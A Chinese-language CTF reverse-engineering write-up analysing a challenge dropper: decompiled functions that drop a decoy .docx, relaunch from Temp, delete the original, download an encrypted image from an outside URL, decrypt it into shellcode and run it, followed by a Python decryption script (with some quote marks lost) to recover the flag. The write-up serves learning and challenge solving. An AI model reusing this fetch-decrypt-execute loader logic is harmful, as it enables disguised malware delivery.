接下來就是 scylla dump 程序了。

把 dump 出的程序塞入 IDA，在WinMain()函數找到程序基本邏輯。程序先在rlsRes()釋放資源，然後在臨時文件夾創建程序備份，並打開".docx"文件，創建新進程啟動自己；在delMyself()中發現自己是之前創建的進程的話就刪除源程序，最後通過getPics()從網上獲取加密圖片，再通過decrypt()函數進行解密得到 shellcode 然後在xor()中對 shellcode 進行異或並執行

int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
char *buffer; // ST10_4
int key[67]; // [esp+4h] [ebp-118h]
size_t dwSize; // [esp+114h] [ebp-8h]
char *picData; // [esp+118h] [ebp-4h]

if ( rlsRes(hInstance) == 6 )
return 0;
delMyself();
picData = (char *)getPics(&dwSize);
if ( picData )
{
if ( dwSize )
{
buffer = (char *)malloc(dwSize);
geneKey(key, 0x4A8754F5745174ui64);
decrypt((char *)key, picData, buffer, dwSize);
xor(buffer, dwSize);
}
free(picData);
}
return 0;
}

在rlsRes()函數中，先複製程序備份到臨時文件夾，然後從程序中提取資源，釋放到".docx"中，最後啟動在臨時文件夾中的自己，並將當前程序的路徑作為參數傳遞。

int __cdecl rlsRes(HMODULE hModule)
{
DWORD NumberOfBytesWritten; // [esp+0h] [ebp-7BCh]
CHAR CommandLine; // [esp+4h] [ebp-7B8h]
struct _STARTUPINFOA StartupInfo; // [esp+21Ch] [ebp-5A0h]
char progExtName; // [esp+264h] [ebp-558h]
LPCVOID lpBuffer; // [esp+370h] [ebp-44Ch]
char progBaseName; // [esp+374h] [ebp-448h]
CHAR tempDir; // [esp+47Ch] [ebp-340h]
HANDLE hFile; // [esp+588h] [ebp-234h]
struct _PROCESS_INFORMATION ProcessInformation; // [esp+58Ch] [ebp-230h]
DWORD v11; // [esp+59Ch] [ebp-220h]
DWORD nNumberOfBytesToWrite; // [esp+5A0h] [ebp-21Ch]
CHAR fileFullname; // [esp+5A4h] [ebp-218h]
CHAR fileDir; // [esp+6ACh] [ebp-110h]

lpBuffer = 0;
nNumberOfBytesToWrite = 0;
v11 = GetModuleFileNameA(hModule, &fileFullname, 0x105u);// 獲取程序完整路徑
if ( v11 > 0x105 )
return 1;
v11 = GetTempPathA(0x105u, &tempDir); // 獲取臨時目錄
if ( v11 > 0x105 )
return 2;
_splitpath(&fileFullname, 0, &fileDir, &progBaseName, &progExtName);// 獲取程序路徑，程序的基本文件名，程序的文件擴展名
if ( strstr(&fileFullname, "\Temp\") )
return 3;
strcat_s(&tempDir, 0x105u, &progBaseName);
if ( progExtName != . )
strcat_s(&tempDir, 0x105u, ".");
strcat_s(&tempDir, 0x105u, &progExtName); // 拼接出程序在臨時目錄下的名字
CopyFileA(&fileFullname, &tempDir, 0); // 拷貝文件到臨時文件夾
strcat_s(&fileDir, 0x105u, &progBaseName);
strcat_s(&fileDir, 0x105u, ".docx"); // 給程序基本文件名拼接上".docx"
if ( !getRscs(0x65u, (int)&lpBuffer, &nNumberOfBytesToWrite) )// 釋放資源
return 4;
hFile = CreateFileA(&fileDir, 0x40000000u, 1u, 0, 2u, 0x80u, 0);
if ( hFile == (HANDLE)-1 )
return 5;
WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0);// 寫入.docx文件
CloseHandle(hFile);
sprintf_s(&CommandLine, 0x218u, "%s "%s"", &tempDir, &fileFullname);// 拼接執行自己的命令
memset(&StartupInfo, 0, 0x44u);
memset(&ProcessInformation, 0, 0x10u);
StartupInfo.cb = 68;
CreateProcessA(0, &CommandLine, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation);// 我啟動我自己
ShellExecuteA(0, "open", &fileDir, 0, 0, 1); // 打開.docx
return 6;
}

在delMyself()中，檢測參數數量，如果參數數量為2，則刪除參數1指向的文件。和之前的rlsRes()結合可以知道這是在刪除原本的程序文件。

void delMyself()
{
const WCHAR *v0; // eax
BOOL v1; // ST08_4
int pNumArgs; // [esp+4h] [ebp-8h]
LPWSTR *v3; // [esp+8h] [ebp-4h]

v0 = GetCommandLineW();
v3 = CommandLineToArgvW(v0, &pNumArgs);
if ( v3 && pNumArgs == 2 )
{
do
{
v1 = DeleteFileW(v3[1]);
Sleep(0x200u);
}
while ( !v1 );
}
}

getPics()函數則是從網路中獲得加密文件

void *__cdecl getPics(unsigned int *a1)
{
unsigned int v2; // [esp+0h] [ebp-18h]
DWORD dwNumberOfBytesRead; // [esp+4h] [ebp-14h]
BOOL v4; // [esp+8h] [ebp-10h]
void *v5; // [esp+Ch] [ebp-Ch]
HINTERNET hFile; // [esp+10h] [ebp-8h]
HINTERNET hInternet; // [esp+14h] [ebp-4h]

dwNumberOfBytesRead = 0;
v2 = 0;
hInternet = InternetOpenA("DDCTF", 0, 0, 0, 0);
hFile = InternetOpenUrlA(hInternet, "http://www.ddctf.com/x.jpg", 0, 0, 0x4000000u, 0);
if ( !hFile )
return 0;
v5 = malloc(0x100000u);
do
{
v4 = InternetReadFile(hFile, (char *)v5 + v2, 0x100000 - v2, &dwNumberOfBytesRead);
if ( !v4 )
break;
v2 += dwNumberOfBytesRead;
if ( !dwNumberOfBytesRead )
break;
}
while ( v2 < 0x100000 );
InternetCloseHandle(hFile);
if ( v2 <= 0x100000 )
{
*a1 = v2;
}
else
{
free(v5);
v5 = 0;
}
return v5;
}

geneKey()函數則是根據 v 來生成密鑰

這個 v2 是來賣萌的嗎

int __cdecl geneKey(_DWORD *key, unsigned __int64 v)
{
unsigned __int64 v2; // rax
char v4[8]; // [esp+0h] [ebp-10h]
int i; // [esp+Ch] [ebp-4h]

LODWORD(v2) = key;
*key = 0;
key[1] = 0;
for ( i = 0; i < 8; ++i )
{
v4[i] = v;
v2 = v >> 8;
v >>= 8;
}
for ( i = 0; i < 256; ++i )
{
*((_BYTE *)key + i + 8) = i + v4[i % 8];
LODWORD(v2) = i + 1;
}
return v2;
}

decrypt()函數則是在根據密鑰進行解密文件，將 a2 數據進行解密放入 a3 中，得到解密數據，即 shellcode

void __cdecl decrypt(char *key, char *a2, char *a3, unsigned int dwSize)
{
unsigned __int8 v4; // ST02_1
unsigned __int8 v5; // ST03_1
unsigned int i; // [esp+4h] [ebp-4h]

for ( i = 0; i < dwSize; ++i )
{
*(_DWORD *)key = (*(_DWORD *)key + 1) % 256;
*((_DWORD *)key + 1) = ((unsigned __int8)key[*(_DWORD *)key + 8] + *((_DWORD *)key + 1)) % 256;
v4 = key[*(_DWORD *)key + 8];
v5 = key[*((_DWORD *)key + 1) + 8];
key[*(_DWORD *)key + 8] = v5;
key[*((_DWORD *)key + 1) + 8] = v4;
a3[i] = key[(v5 + v4) % 256 + 8] ^ a2[i];
}
}

最後就是再次對 shellcode 進行一遍 xor，然後執行 shellcode

_DWORD *__cdecl xor(void *a1, SIZE_T dwSize)
{
_DWORD *result; // eax
_DWORD *lpAddress; // [esp+0h] [ebp-8h]
SIZE_T i; // [esp+4h] [ebp-4h]

result = VirtualAlloc(0, dwSize, 0x1000u, 0x40u);
lpAddress = result;
if ( result )
{
memcpy(result, a1, dwSize);
for ( i = 0; i < dwSize; ++i )
*((_BYTE *)lpAddress + i) ^= i;
if ( _time32(0) - *lpAddress >= 0 && _time32(0) - *lpAddress <= 1800 )
result = (_DWORD *)((int (*)(void))(lpAddress + 1))();
else
result = (_DWORD *)VirtualFree(lpAddress, dwSize, 0x4000u);
}
return result;
}

梳理好程序流程後我們知道該怎麼還原了。這裡對於加密不是很懂，借鑒了其他大佬的腳本。

import re

def geneKey(key: list, v: int):
v4 = [0 for i in range(8)]
for i in range(8):
v4[i] = v
v = v >> 8

for i in range(256):
key[i] = (i + v4[i % 8]) % 256

def decrypt(key: list, data):
decData = b
j = 0
for count in range(len(data)):
i = (count+1) % 256
j = (key[i] + j) % 256
key[i], key[j] = key[j], key[i]
dec1 = data[count] ^ key[(key[i] + key[j]) % 256]
dec2 = (dec1 ^ count) % 256
decData += bytes(dec2.to_bytes(1, little))
return decData

if __name__ == "__main__":
file = open(F:\ctfQuestion\jarvisoj\reverse\dd-evil_exe\x.jpg, rb)
fileData = file.read()
file.close()
v = 0x4A8754F5745174
key = [0 for i in range(256)]
geneKey(key, v)
decData = decrypt(key, fileData)
file = open(
F:\ctfQuestion\jarvisoj\reverse\dd-evil_exe\x_dec.jpg, wb)
file.write(out)
file.close()

在導出 shellcode 中發現了明文字元串，而每一個明文字元串前都有一個 0x68，hxd 貼心的告訴我們這是在將字元串 push 入棧。

所以我們只要將 0x68 和之後對應字元串用正則篩出來就可以了。對上面 python 腳本的 main 函數進行魔改就可以得到 flag

if __name__ == "__main__":
file = open(F:\ctfQuestion\jarvisoj\reverse\dd-evil_exe\x.jpg, rb)
fileData = file.read()
file.close()
v = 0x4A8754F5745174
key = [0 for i in range(256)]
geneKey(key, v)
decData = decrypt(key, fileData)
match = re.findall(bx68[Ss]{4}, decData)
match = match[::-1]
for i in match:
try:
print(i.decode(ascii)[1:], end=)
except UnicodeDecodeError as e:
print(
holy shit)

refs

https://blog.csdn.net/whklhhhh/article/details/78883247 https://blog.csdn.net/qq1045553189/article/details/88949363

推薦閱讀：